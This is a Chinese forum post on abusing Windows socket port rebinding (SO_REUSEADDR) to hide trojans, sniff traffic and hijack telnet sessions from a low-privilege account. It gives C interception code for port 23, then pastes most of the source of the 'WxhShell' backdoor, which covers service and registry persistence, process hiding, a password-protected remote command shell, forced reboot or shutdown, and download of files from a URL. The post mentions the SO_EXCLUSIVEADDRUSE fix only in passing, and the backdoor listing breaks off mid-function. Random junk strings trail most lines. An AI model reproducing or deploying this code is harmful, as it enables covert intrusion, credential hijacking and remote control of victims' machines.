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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BF{v0Z0/}k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~,3+]ts='\  
L}5nq@Uu)  
  saddr.sin_family = AF_INET; Y> ElE-  
Opx"'HC@G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2L Kpwz?  
P>n}\"z4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y` t-Bg!~  
~3bH2,{L[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wXI6KN-  
'0|0rwx  
  这意味着什么?意味着可以进行如下的攻击: qp$Td<'Y  
 #~QkS_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E>>@X^ =  
:'p+Ql~c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hDBVL"  
J:WO %P=Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h[H FZv~{  
C]H'z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1@" L  
ip.aM#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rUgTJx&ds  
H|@R+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :+u K1N  
X|]&K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^}Vx5[  
EhJpJb[Z  
  #include ]1YyP  
  #include U4PnQ K,  
  #include =VXxQ\{  
  #include    HYqDaRn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3hUU$|^4gm  
  int main() N-C=O  
  { xn1=@0 a  
  WORD wVersionRequested; En&`m  
  DWORD ret; N5m+r.<;  
  WSADATA wsaData; 0=g~ozEW&  
  BOOL val; [&_c.ti  
  SOCKADDR_IN saddr; (c3%rM m]  
  SOCKADDR_IN scaddr; EGD&/%aC  
  int err; Fke_ms=I^  
  SOCKET s; @x u/&pbI  
  SOCKET sc; Cx,)$!1  
  int caddsize; ?|}%A9   
  HANDLE mt; Fqr}zR)  
  DWORD tid;   ;`CNe$y   
  wVersionRequested = MAKEWORD( 2, 2 ); :Ca]/]]  
  err = WSAStartup( wVersionRequested, &wsaData ); >o45vB4o  
  if ( err != 0 ) { TOUP.,f/!  
  printf("error!WSAStartup failed!\n"); +0&SXhy%y  
  return -1; estDW1i)  
  } *d%U]Hby,  
  saddr.sin_family = AF_INET; >wPMJ> 2  
   }iu(-{Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PR{y84$  
=5 zx]N1r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >%PPp.R  
  saddr.sin_port = htons(23); {\87]xJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ? FlV<nE"J  
  { !"dn!X  
  printf("error!socket failed!\n"); <kY ||  
  return -1; wlY6h4c  
  } n-%8RV  
  val = TRUE; `;'fCO!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q/|WkV `m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o{QU?H5h  
  { 02_37!\  
  printf("error!setsockopt failed!\n"); Z T5p  
  return -1; eqFOPK5q  
  } GNv5yWQ@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p]7Gj &a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &R'%OFi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %s#`i$|z*n  
.x^`y2'U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cv'Fc  
  { 0lvX,78G;  
  ret=GetLastError(); Ya_4[vR<  
  printf("error!bind failed!\n"); c/c%-=  
  return -1; ji &*0GJQ  
  } l5jW`cl1  
  listen(s,2); 4cO||OsMU  
  while(1) CwV1~@{-  
  { yL&_>cV  
  caddsize = sizeof(scaddr); \sy;ca)[6g  
  //接受连接请求 M?UlC   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1qs~[7{C1  
  if(sc!=INVALID_SOCKET) jaoGm$o>"F  
  { us.+nnd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C+WHg-l  
  if(mt==NULL) aE_)iE|  
  { x+O}RD*G  
  printf("Thread Creat Failed!\n"); UeRx ^  
  break; TwZvz[u  
  } jH*+\:UP-  
  } Z {ntF  
  CloseHandle(mt); aBM'ROQ  
  } h>Z$ n`T  
  closesocket(s); RRD\V3C84  
  WSACleanup(); NLJD}{8Ot  
  return 0; FjUp+5  
  }   (u]ajT  
  DWORD WINAPI ClientThread(LPVOID lpParam) xNNoB/DR  
  { ]|q\^k)JU  
  SOCKET ss = (SOCKET)lpParam; 's{-1aW  
  SOCKET sc; }P$48o VY  
  unsigned char buf[4096]; JlsRP  
  SOCKADDR_IN saddr; eiZv|?^0  
  long num; Z`xz|:D+  
  DWORD val; ~'WvIA (  
  DWORD ret; %iI0JF*E z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +q]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y(:hN)  
  saddr.sin_family = AF_INET; r'hr 'wZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +w/Ax[K  
  saddr.sin_port = htons(23); |}*k|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jkt L|u:k  
  { 66=6;77  
  printf("error!socket failed!\n"); Y#PbC  
  return -1; [;VNuF  
  } Sv-}w$  
  val = 100; }H{{@RU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3V`K^X3  
  { rsf A.o  
  ret = GetLastError(); ',0~\V  
  return -1; ]}9y>+>  
  } ,"PwNv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )dLESk  
  { >"F~%D<.  
  ret = GetLastError(); ;,'!  
  return -1; j:|60hDz^  
  } UL[4sv6\9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xP'IyABx  
  { rK~362|mo  
  printf("error!socket connect failed!\n"); (k M\R|  
  closesocket(sc); scqG$~O)  
  closesocket(ss); mo#4jtCE  
  return -1; c6s(f  
  } t2OXm  
  while(1) ]Vl5v5_  
  { qPE(Lt1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q|gun}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xk]5*C]6<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Oe$cM=Yf  
  num = recv(ss,buf,4096,0); ;y6Jo  
  if(num>0) P>pkLP} Vo  
  send(sc,buf,num,0); 8+gx?pb  
  else if(num==0)  R76'1o  
  break; M=o,Sav5*  
  num = recv(sc,buf,4096,0); +@%9pbM"z  
  if(num>0) H gNUr5p  
  send(ss,buf,num,0); bq[Q  
  else if(num==0) b daZ{5^{  
  break; w,3`Xq@  
  } }~QB2&3  
  closesocket(ss); 5Tu#o ()  
  closesocket(sc); a2=wJhk  
  return 0 ; CM5A-R90  
  } 5\=9&{WjND  
,C&h~uRi#f  
(= !_ 5l  
========================================================== f!LZT!y  
0^ E!P>  
下边附上一个代码,,WXhSHELL i+&= "Z@  
JEHV \ =  
========================================================== oN `tZ;a  
<*(~x esPS  
#include "stdafx.h" BLaX p0  
Jh466; E  
#include <stdio.h> lf|^^2'*2<  
#include <string.h> Gzp)OHgJ  
#include <windows.h> &-b=gnT   
#include <winsock2.h> uqQMS&;+,|  
#include <winsvc.h> 5\4>H6  
#include <urlmon.h> ^ _+ks/  
`=KrV#/758  
#pragma comment (lib, "Ws2_32.lib") iL,3g[g  
#pragma comment (lib, "urlmon.lib") A\# ? rK  
KFfwZkj{  
#define MAX_USER   100 // 最大客户端连接数 +] 5a(/m.~  
#define BUF_SOCK   200 // sock buffer Y}?@Pm drz  
#define KEY_BUFF   255 // 输入 buffer |@ldXuYb  
"V^jAPDXb  
#define REBOOT     0   // 重启 Y 4714  
#define SHUTDOWN   1   // 关机 ;XtDz  
.86..1  
#define DEF_PORT   5000 // 监听端口 @B^'W'&C  
f:UN~z'yr  
#define REG_LEN     16   // 注册表键长度 yv:NH|,/y  
#define SVC_LEN     80   // NT服务名长度 >b$<lo  
)?xt=9Lh  
// 从dll定义API HkV/+ {;S~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]Aluk|"`U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C=b5[, UCB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (i?^g &  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f7W=x6Z4  
*AA1e}R{B  
// wxhshell配置信息 /vV 0$vg  
struct WSCFG { 5 O6MI4:  
  int ws_port;         // 监听端口 5;Z~+$1  
  char ws_passstr[REG_LEN]; // 口令 [T^6Kzz  
  int ws_autoins;       // 安装标记, 1=yes 0=no zSH#j RDV  
  char ws_regname[REG_LEN]; // 注册表键名 bc"N  
  char ws_svcname[REG_LEN]; // 服务名 0IdD   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8`~]9ej  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k^]~NP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y5opZ G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @gj5'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BY d3rI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \*N1i`99  
*,pqpD>  
}; xVe!  
"<(~  
// default Wxhshell configuration X ,   
struct WSCFG wscfg={DEF_PORT, G~]BC#nB_  
    "xuhuanlingzhe", 5e LPn  
    1, 8B+uNN~%]  
    "Wxhshell", FdqUv% (Em  
    "Wxhshell", #?*jdN:  
            "WxhShell Service", ?xet:#R'  
    "Wrsky Windows CmdShell Service", S!]}}fKEFm  
    "Please Input Your Password: ", dB5DJ:$W$  
  1, iI1t P  
  "http://www.wrsky.com/wxhshell.exe", _6' g]4  
  "Wxhshell.exe" -*A'6%`  
    }; "mf;k^sqS  
v+G:,Tc"  
// 消息定义模块 W#[!8d35$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xwi&uyvU&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AL0Rn e N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #O WSy'Qnt  
char *msg_ws_ext="\n\rExit."; [oj"Tn(  
char *msg_ws_end="\n\rQuit."; F*4+7$E0B  
char *msg_ws_boot="\n\rReboot..."; H.L@]~AyL  
char *msg_ws_poff="\n\rShutdown..."; 7yp*I[1Qf>  
char *msg_ws_down="\n\rSave to "; :m\KQ1sq  
.vO.g/o  
char *msg_ws_err="\n\rErr!"; c0 |p34  
char *msg_ws_ok="\n\rOK!"; Pa}vmn1$  
l+6(|"md  
char ExeFile[MAX_PATH]; Z-@}~#E  
int nUser = 0; >gl.(b25C  
HANDLE handles[MAX_USER]; ={^#E?  
int OsIsNt; Q-v[O4 y~  
T8-$[ 2  
SERVICE_STATUS       serviceStatus; nlW&(cH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %jk PrI  
+QX>:z  
// 函数声明 @nu/0+8h{  
int Install(void); gEP E9ew  
int Uninstall(void); vXbT E$  
int DownloadFile(char *sURL, SOCKET wsh); >{a,]q*  
int Boot(int flag); B! V{.p  
void HideProc(void); 1!3kAcBP  
int GetOsVer(void); gQWX<  
int Wxhshell(SOCKET wsl); 5H+k_U  
void TalkWithClient(void *cs); fh#_Mj+y  
int CmdShell(SOCKET sock); I?>T"nV +'  
int StartFromService(void); <q\) o_tH  
int StartWxhshell(LPSTR lpCmdLine); 2(Uz9!<V  
: !3y>bP)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zF&UdS3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .5;LL,S-  
-G#k/Rz6  
// 数据结构和表定义 Aw;vg/#~md  
SERVICE_TABLE_ENTRY DispatchTable[] = _~Vz+nT  
{ e"#D){k#  
{wscfg.ws_svcname, NTServiceMain}, bK\WdG\;  
{NULL, NULL} "R@N|Qx'  
}; dM{~Ubb  
J"/z?!)IB  
// 自我安装 bpa O`[*  
int Install(void) Ch"8cl;Fm  
{ 7CM03R[P  
  char svExeFile[MAX_PATH]; uhB!k-ir  
  HKEY key; Fx5d@WNa>  
  strcpy(svExeFile,ExeFile); o MkY#<Q}  
< iI6@X>  
// 如果是win9x系统,修改注册表设为自启动 _G #"B{7  
if(!OsIsNt) { puN=OX}C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (%yc5+f!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @[tV_Z%,b  
  RegCloseKey(key); 7'i#!5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NLZZMr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,GkW. vEU  
  RegCloseKey(key); .#55u+d,  
  return 0; ^y0C5Bl;  
    } V!77YFen %  
  } 3*$9G)Ey  
} E\~ KVn  
else { 8+ F}`lLA  
D?yE$_3>c  
// 如果是NT以上系统,安装为系统服务 :q64K?X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '&:1?i)  
if (schSCManager!=0) S=H_9io  
{ ?Wg{oB@(  
  SC_HANDLE schService = CreateService 9/ 1+BQ  
  ( ,ah*!Zm.kk  
  schSCManager, \!JS7!+  
  wscfg.ws_svcname, (;pi"/x[  
  wscfg.ws_svcdisp, zf3:<CRX5  
  SERVICE_ALL_ACCESS, #CA%]*l*F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^@`e  
  SERVICE_AUTO_START, 1%spzkE 3P  
  SERVICE_ERROR_NORMAL, YYE8/\+B.  
  svExeFile, jc&/}o$K  
  NULL, juMxl  
  NULL, O5qW*r'  
  NULL, E {KS a  
  NULL, ZEj!jWP2m  
  NULL _jTwiuMS-  
  ); Lo9G4Cu  
  if (schService!=0) yS)- &t!;  
  { f `y" a@  
  CloseServiceHandle(schService); * {gxI<   
  CloseServiceHandle(schSCManager); gX$0[ sIS.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m0|Ae@g~3  
  strcat(svExeFile,wscfg.ws_svcname); 6h2x~@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -VWCD,c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Any Zi'  
  RegCloseKey(key); M'umoZmW0  
  return 0; BbrT f"`  
    } my ;  
  } E kBae=  
  CloseServiceHandle(schSCManager); $N;"}G z  
} 4ZI!,lv*  
} )W8L91-  
.Vo"AuC}  
return 1; |66m` <  
} 6z#lN>Y-`  
Vk-W8[W 7  
// 自我卸载 j:3EpD@GS  
int Uninstall(void) |N:MZ#};  
{ H]_WFiW-9  
  HKEY key; '7xxCj/*  
xLx"*jyL  
if(!OsIsNt) { oGm1d{_-O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zmf"I[)  
  RegDeleteValue(key,wscfg.ws_regname); h?0F-6z  
  RegCloseKey(key); m[Z6VHn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $sEB'>:  
  RegDeleteValue(key,wscfg.ws_regname); ~J0,)_b%*  
  RegCloseKey(key); -a  *NbH  
  return 0; \ V6   
  } S8O)/Sg=  
} u_N\iCYp  
} j]pohxn$5  
else { i"L }!5  
k/G7.)C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {Q)dU-\  
if (schSCManager!=0) su&t7rJ  
{ ZA0i)(j*Mn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1Gsw-a;a  
  if (schService!=0) \V= &&(n#  
  { On=u#DxQ  
  if(DeleteService(schService)!=0) { vQUZVq5M  
  CloseServiceHandle(schService); <EtUnj:qK8  
  CloseServiceHandle(schSCManager); #(6) ^ (  
  return 0; wW-Ab  
  } m}98bw  
  CloseServiceHandle(schService); 4E2yH6l  
  } Yp*,Jp1  
  CloseServiceHandle(schSCManager); 4otl_l(`yv  
} D?^540,b  
} @g4Shlx|  
gmY/STN   
return 1; 4r\*@rq  
} .`,F  
F;u7A]H^  
// 从指定url下载文件 vQ 4}WtvA  
int DownloadFile(char *sURL, SOCKET wsh) Z?17Pu'Dp  
{ d<x1*a  
  HRESULT hr; Gzw@w{JBL  
char seps[]= "/"; \PbvN\L  
char *token; 9JPEj-3`g  
char *file; jv =EheD  
char myURL[MAX_PATH]; .s2$al  
char myFILE[MAX_PATH]; R2rsJ  
:Hk_8J  
strcpy(myURL,sURL); _1  p DA  
  token=strtok(myURL,seps); &~ *.CQa  
  while(token!=NULL) wK ?@.l)u  
  { 7X}TB\N1  
    file=token; x vmt.>f  
  token=strtok(NULL,seps); %X>FVlPm  
  } ]tB@kBi "  
t<638`{kk  
GetCurrentDirectory(MAX_PATH,myFILE); nIn2 *r  
strcat(myFILE, "\\"); oQT2S>cm^  
strcat(myFILE, file); XWUP=D~  
  send(wsh,myFILE,strlen(myFILE),0); 19Ww3P vQ;  
send(wsh,"...",3,0); QXVC\@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R>2IRvY(  
  if(hr==S_OK) 6Ps.E  
return 0; &gn-Wb?  
else 53Yxz3v  
return 1; [A5W+pDm  
xJc$NV-JzK  
} j*400  
 D!F 2l_  
// 系统电源模块 1%~[rnQ  
int Boot(int flag) q0&$7GH4  
{ y$b]7O  
  HANDLE hToken; HYCuK48F[_  
  TOKEN_PRIVILEGES tkp; iWA|8$u4gm  
eC! #CK  
  if(OsIsNt) { m$wlflt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mwC=o5O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SeEw.;Xw  
    tkp.PrivilegeCount = 1; sy/nESZs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f>polxB%N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ' cBBt  
if(flag==REBOOT) { uw AwWgl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wN=;i#  
  return 0; 3j Z6kfj  
} }V]R+%:w@  
else { g}x(hF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YXW%]Uy+  
  return 0; #8XL :I  
} !w39FfU{  
  } m GjN_  
  else { Iu[|<Cx  
if(flag==REBOOT) { =(HeF.!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RY9V~8|M  
  return 0; E"~2./+rd  
} hk[ %a$Y  
else { r^Zg-|gr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %]2, &  
  return 0; k,yZ[n|`  
} QXgE dsw  
} #OO>rm$  
P!G858V(  
return 1; _Q[$CcDEE  
} q 11IkDa  
TS2ZF{m  
// win9x进程隐藏模块 EJ@p-}I!  
void HideProc(void) 4)|8Eu[p7  
{ !K f#@0E..  
eqw0]U\pv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^T"vX  
  if ( hKernel != NULL ) R\@/U=iqR  
  { 1 i[\T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q/>{f0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FCi U  
    FreeLibrary(hKernel); (8.Z..PH  
  } TJ q~)Bm  
26&'X+n&  
return; s7Ub@  
} "j;4 k.`h  
/x_o!<M  
// 获取操作系统版本 )OiT{-m  
int GetOsVer(void)  1%4sHSN  
{ 1$M@]7e+!+  
  OSVERSIONINFO winfo; \b%kf99  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); + s- lCz  
  GetVersionEx(&winfo); CC#;c1t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~HOy:1QhE=  
  return 1; GrUCZ<S  
  else 9E>xIJ@J2T  
  return 0; Re P|UH  
} N[<\>Ps|u  
E_vq  
// 客户端句柄模块 (M*FIX  
int Wxhshell(SOCKET wsl) >}+/{(K"E|  
{ g !rQ4#4  
  SOCKET wsh; :2 *g~6  
  struct sockaddr_in client; 9 FB19  
  DWORD myID; zuUW|r  
]H`1F1=  
  while(nUser<MAX_USER) Ney/[3 A  
{ <YdE1{fm  
  int nSize=sizeof(client); S:h{2{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0u;4%}pD  
  if(wsh==INVALID_SOCKET) return 1; zd @m~V  
7Zlw^'q$:L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WA+iYLx@H  
if(handles[nUser]==0) 5`~PR :dN  
  closesocket(wsh); IZpP[hov  
else 0cj>mj1M  
  nUser++; OX\A|$GS  
  } MF5[lK9e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0yD9SJn  
be.*#[  
  return 0; s.$3j$vT 8  
} !2ZF(@C /  
nAv#?1cjz  
// 关闭 socket 37s0e;aF  
void CloseIt(SOCKET wsh) 'uBu6G  
{ 'Gj3:-xqL  
closesocket(wsh); M/b Sud?@%  
nUser--; ~E17L]ete  
ExitThread(0); A^USBv+9`  
} hgPa6Kd  
5IE#\FITO|  
// 客户端请求句柄 ItNz}4o|d  
void TalkWithClient(void *cs) y [}.yyye  
{ os=e|vkB*  
$a.JSXyxL  
  SOCKET wsh=(SOCKET)cs; v[1aW v:  
  char pwd[SVC_LEN]; G<65H+)M\  
  char cmd[KEY_BUFF]; wW>A_{Y  
char chr[1]; ;U/&I3dzV  
int i,j; "\: `/k3  
]d$8f  
  while (nUser < MAX_USER) { e"{{ TcNk  
j#!IuH\]  
if(wscfg.ws_passstr) { gb[5&> (#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9ijfRqI=x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 11 Q1AN  
  //ZeroMemory(pwd,KEY_BUFF); em%4Ap  
      i=0; n] ._uza  
  while(i<SVC_LEN) { fDv2JdiU  
<FV1Wz  
  // 设置超时 \V;F/Zy(  
  fd_set FdRead; =W(Q34  
  struct timeval TimeOut; I9|mG'  
  FD_ZERO(&FdRead); n@<YI  
  FD_SET(wsh,&FdRead); 1+_`^|eK  
  TimeOut.tv_sec=8; X-bcQ@Oj  
  TimeOut.tv_usec=0; |mZxfI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p $S*dr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `KZm0d{H  
G30-^Tr   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ouk ^O}W6  
  pwd=chr[0]; 5AFJC?   
  if(chr[0]==0xd || chr[0]==0xa) { (p"%O  
  pwd=0; OIGY`   
  break; j`{?OYD  
  } yuh *  
  i++; S\CCrje  
    } aC]$k'71  
LQ@"Xe]5  
  // 如果是非法用户,关闭 socket 0_jf/an,%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ki;*u_4{  
} "BM#4  
tj'\tW+s'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iDpSj!x/_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sj3+l7S?  
sU=H&D99  
while(1) { w2?3wrP3  
?e%ZOI  
  ZeroMemory(cmd,KEY_BUFF); l|u>Tb|V  
Fn wJ+GTu  
      // 自动支持客户端 telnet标准   -M\<nx  
  j=0; l5~os>  
  while(j<KEY_BUFF) { N:^n('U&j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EfqX y>W  
  cmd[j]=chr[0]; v_yw@  
  if(chr[0]==0xa || chr[0]==0xd) { P?%s #I:  
  cmd[j]=0; 9[#pIPxNK  
  break; ~?l | [  
  } \UA[  
  j++; VMZMG$C  
    } }H53~@WP>  
9p]QM)M  
  // 下载文件 wH*-(*N "  
  if(strstr(cmd,"http://")) { -oGdk|Yn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zj(AJ*r  
  if(DownloadFile(cmd,wsh)) 7P } W *  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )+#` CIv  
  else p:&8sO!m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .e#w)K  
  } KR} ?H#%  
  else { Zpt\p7WQ  
6XxvvMA97  
    switch(cmd[0]) { RbB.q p  
  Lj({[H7D!  
  // 帮助 ,~U>'&M;  
  case '?': { n9\TO9N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }CSDV9).S  
    break; +|3@=.V  
  } AI2)g1m  
  // 安装 \  #F  
  case 'i': { f_OQ./`  
    if(Install()) b`Zx!^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #~]zhHI  
    else [jQp~&nY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x8 2cT21b  
    break; 9c bd~mM{  
    } :U|1xgB  
  // 卸载 kt#fMd$  
  case 'r': { Q-okt RK  
    if(Uninstall()) k=$TGqQY?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Zx0%#6  
    else n` _{9R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dl)Y'DI  
    break; n&4N[Qlv,  
    } 4i;{!sT  
  // 显示 wxhshell 所在路径 1ba~SHi  
  case 'p': { { 'eC`04E  
    char svExeFile[MAX_PATH]; VBlYvZ;$*  
    strcpy(svExeFile,"\n\r"); yWc$>ne[L  
      strcat(svExeFile,ExeFile); .NC!7+1m  
        send(wsh,svExeFile,strlen(svExeFile),0); !PlEO 2at  
    break; bHnT6Icom  
    } e2Pcm_Ahv*  
  // 重启 |3b^~?S  
  case 'b': { hh%-(HaLX3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a5^] 20Fa  
    if(Boot(REBOOT)) P`+{@@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u~:y\/Y6  
    else { Lg+Ac5y}`  
    closesocket(wsh); H|<[YYk  
    ExitThread(0); 7F7 {)L  
    } W(Fv l  
    break; {z5--TogJ  
    } I]t!xA~  
  // 关机 .VJMz4$]O  
  case 'd': { 1=c\Rr9]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,-c6dS   
